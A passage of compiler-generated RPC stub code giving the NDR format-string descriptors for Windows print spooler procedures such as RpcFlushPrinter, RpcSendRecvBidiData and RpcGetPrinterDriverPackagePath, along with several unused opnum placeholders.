*/\n/* 5200 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5202 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5204 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5206 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5208 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5210 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5212 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5214 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum91NotUsedOnWire */\n\n/* 5216 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5218 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5222 */\tNdrFcShort( 0x5b ),\t/* 91 */\n/* 5224 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5226 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5228 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5230 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5232 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5234 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5236 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5238 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5240 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5242 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5244 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum92NotUsedOnWire */\n\n/* 5246 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5248 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5252 */\tNdrFcShort( 0x5c ),\t/* 92 */\n/* 5254 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5256 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5258 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5260 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5262 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5264 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5266 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5268 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5270 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5272 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5274 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum93NotUsedOnWire */\n\n/* 5276 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5278 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5282 */\tNdrFcShort( 0x5d ),\t/* 93 */\n/* 5284 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5286 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5288 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5290 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5292 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5294 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5296 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5298 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5300 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5302 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5304 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum94NotUsedOnWire */\n\n/* 5306 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5308 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5312 */\tNdrFcShort( 0x5e ),\t/* 94 */\n/* 5314 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5316 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5318 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5320 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5322 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5324 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5326 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5328 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5330 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5332 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5334 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum95NotUsedOnWire */\n\n/* 5336 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5338 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5342 */\tNdrFcShort( 0x5f ),\t/* 95 */\n/* 5344 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5346 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5348 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5350 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5352 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5354 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5356 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5358 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5360 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5362 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5364 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcFlushPrinter */\n\n/* 5366 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5368 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5372 */\tNdrFcShort( 0x60 ),\t/* 96 */\n/* 5374 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 5376 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 5378 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5380 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 5382 */\tNdrFcShort( 0x34 ),\t/* 52 */\n/* 5384 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 5386 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 5388 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 5390 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5392 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5394 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5396 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 5398 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 5400 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5402 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pBuf */\n\n/* 5404 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5406 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5408 */\tNdrFcShort( 0x5f2 ),\t/* Type Offset=1522 */\n\n\t/* Parameter cbBuf */\n\n/* 5410 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5412 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5414 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcWritten */\n\n/* 5416 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 5418 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 5420 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter cSleep */\n\n/* 5422 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5424 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 5426 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 5428 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 5430 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 5432 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure RpcSendRecvBidiData */\n\n/* 5434 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5436 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5440 */\tNdrFcShort( 0x61 ),\t/* 97 */\n/* 5442 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 5444 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 5446 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5448 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 5450 */\tNdrFcShort( 0x2c ),\t/* 44 */\n/* 5452 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 5454 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 5456 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5458 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5460 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5462 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5464 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter hPrinter */\n\n/* 5466 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 5468 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5470 */\tNdrFcShort( 0x56 ),\t/* Type Offset=86 */\n\n\t/* Parameter pAction */\n\n/* 5472 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 5474 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5476 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pReqData */\n\n/* 5478 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5480 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5482 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ppRespData */\n\n/* 5484 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 5486 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 5488 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 5490 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 5492 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 5494 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum98NotUsedOnWire */\n\n/* 5496 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5498 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5502 */\tNdrFcShort( 0x62 ),\t/* 98 */\n/* 5504 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5506 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5508 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5510 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5512 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5514 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5516 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5518 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5520 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5522 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5524 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum99NotUsedOnWire */\n\n/* 5526 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5528 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5532 */\tNdrFcShort( 0x63 ),\t/* 99 */\n/* 5534 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5536 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5538 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5540 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5542 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5544 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5546 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5548 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5550 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5552 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5554 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum100NotUsedOnWire */\n\n/* 5556 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5558 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5562 */\tNdrFcShort( 0x64 ),\t/* 100 */\n/* 5564 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5566 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5568 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5570 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5572 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5574 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5576 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5578 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5580 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5582 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5584 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum101NotUsedOnWire */\n\n/* 5586 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5588 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5592 */\tNdrFcShort( 0x65 ),\t/* 101 */\n/* 5594 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5596 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5598 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5600 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5602 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5604 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5606 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5608 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5610 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5612 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5614 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcGetCorePrinterDrivers */\n\n/* 5616 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5618 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5622 */\tNdrFcShort( 0x66 ),\t/* 102 */\n/* 5624 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 5626 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 5628 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5630 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5632 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 5634 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 5636 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 5638 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 5640 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5642 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5644 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5646 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 5648 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 5650 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5652 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszEnvironment */\n\n/* 5654 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5656 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5658 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter cchCoreDrivers */\n\n/* 5660 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5662 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5664 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pszzCoreDriverDependencies */\n\n/* 5666 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5668 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 5670 */\tNdrFcShort( 0x988 ),\t/* Type Offset=2440 */\n\n\t/* Parameter cCorePrinterDrivers */\n\n/* 5672 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5674 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 5676 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pCorePrinterDrivers */\n\n/* 5678 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 5680 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 5682 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 5684 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 5686 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 5688 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum103NotUsedOnWire */\n\n/* 5690 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5692 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5696 */\tNdrFcShort( 0x67 ),\t/* 103 */\n/* 5698 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5700 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5702 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5704 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5706 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5708 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5710 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5712 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5714 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5716 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5718 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure RpcGetPrinterDriverPackagePath */\n\n/* 5720 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5722 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5726 */\tNdrFcShort( 0x68 ),\t/* 104 */\n/* 5728 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 5730 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 5732 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5734 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 5736 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 5738 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 5740 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 5742 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 5744 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5746 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 5748 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5750 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pszServer */\n\n/* 5752 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 5754 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5756 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszEnvironment */\n\n/* 5758 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5760 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5762 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pszLanguage */\n\n/* 5764 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 5766 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 5768 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pszPackageID */\n\n/* 5770 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 5772 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 5774 */\tNdrFcShort( 0x59c ),\t/* Type Offset=1436 */\n\n\t/* Parameter pszDriverPackageCab */\n\n/* 5776 */\tNdrFcShort( 0x1b ),\t/* Flags:  must size, must free, in, out, */\n/* 5778 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 5780 */\tNdrFcShort( 0x99e ),\t/* Type Offset=2462 */\n\n\t/* Parameter cchDriverPackageCab */\n\n/* 5782 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 5784 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 5786 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter pcchRequiredSize */\n\n/* 5788 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 5790 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 5792 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 5794 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 5796 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 5798 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure Opnum105NotUsedOnWire */\n\n/* 5800 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5802 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5806 */\tNdrFcShort( 0x69 ),\t/* 105 */\n/* 5808 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5810 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5812 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5814 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5816 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5818 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5820 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5822 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5824 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5826 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5828 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum106NotUsedOnWire */\n\n/* 5830 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5832 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5836 */\tNdrFcShort( 0x6a ),\t/* 106 */\n/* 5838 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5840 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5842 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5844 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5846 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5848 */\t0x40,\t\t/* Oi2 Flags:  has ext, */\n\t\t\t0x0,\t\t/* 0 */\n/* 5850 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 5852 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5854 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5856 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5858 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Procedure Opnum107NotUsedOnWire */\n\n/* 5860 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 5862 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 5866 */\tNdrFcShort( 0x6b ),\t/* 107 */\n/* 5868 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 5870 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 5872 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 5874 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5876 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 5878 